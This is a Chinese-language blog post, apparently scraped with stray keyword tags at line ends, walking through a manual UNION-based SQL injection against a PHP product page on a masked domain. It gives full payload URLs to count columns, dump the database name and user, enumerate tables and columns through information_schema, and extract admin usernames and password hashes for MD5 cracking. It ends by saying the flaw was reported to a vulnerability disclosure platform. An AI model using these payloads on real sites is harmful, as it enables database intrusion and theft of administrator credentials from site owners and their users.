純手工注入

開門見山


 

掃到一個站存在SQL注入,放到阿D、明小子上猜解失敗,欲放棄,忽然打算試一下手工注入。php

1. 驗證是否可注入編碼

http://www.xxx.com.cn/product-detail.php?pid=21’ spa

 

 

 

 

 再用 and 1=1and 1=2驗證3d

肯定有注入orm

 

2. 猜字段blog

http://www.xxx.com.cn/product-detail.php?pid=21 order by 37  正常頁面ip

http://www.xxx.com.cn/product-detail.php?pid=21 order by 38 報錯頁面io

字段數爲37table

 

3. 暴出字段位置form

http://www.xxx.com.cn/product-detail.php?pid=21 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37

 

 

 

4. 暴庫和管理員信息

http://www.xxx.com.cn/product-detail.php?pid=21 UNION SELECT 1,2,3,4,5,6,7,8,user(),10,11,database(),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37

 

 

獲得庫名管理員信息 

 

5. 列當前庫的表名

庫名的十六進制編碼   0x736565xxxxxx6E67

 

 

 

http://www.xxx.com.cn/product-detail.php?pid=21 union select 1,group_concat(table_name),3,4,5,6,7,8,user(),10,11,database(),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from information_schema.tables where table_schema=0x736565xxxxxx6E67

 

表名太多用審覈元素列開查看

猜測 admin 或者 admin_login 多是存放管理員帳號與密碼的表

 

6. 在第17個字段暴出admin_login表的字段

admin_login  十六進制編碼     0x61646D696Exxxxxxxx696E

 

http://www.xxx.com.cn/product-detail.php?pid=21 union select 1,group_concat(table_name),3,4,5,6,7,8,user(),10,11,database(),13,14,15,16,group_concat(column_name),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from information_schema.columns where table_name=0x61646D696Exxxxxxxx696E

 

字段   id,username,ip,ctime,id,ip,ctime,username

 

7. 再在第17個字段暴出admin表的字段

admin  十六進制編碼    0x61646xxx6E

 

http://www.xxx.com.cn/product-detail.php?pid=21 union select 1,group_concat(table_name),3,4,5,6,7,8,user(),10,11,database(),13,14,15,16,group_concat(column_name),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from information_schema.columns where table_name=0x61646xxx6E

 

審覈元素列開查看

admin表的字段:id,username,password,ctime,logintime,loginsum,id,username,password,permission,ctime,logintime,loginsum

 

8. 暴出字段內容

0x3a 的十六進制是 : 用來分隔字段內容

 

http://www.xxx.com.cn/product-detail.php?pid=21 union select 1,2,3,4,5,6,7,8,user(),10,11,database(),13,14,15,group_concat(username,0x3a,password),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from admin

 

獲得字段內容,也就是管理員登陸帳號

使用MD5解密

 

9. 提交補天漏洞平臺

 

 

 不到一週,獲得廠商回覆和確定。

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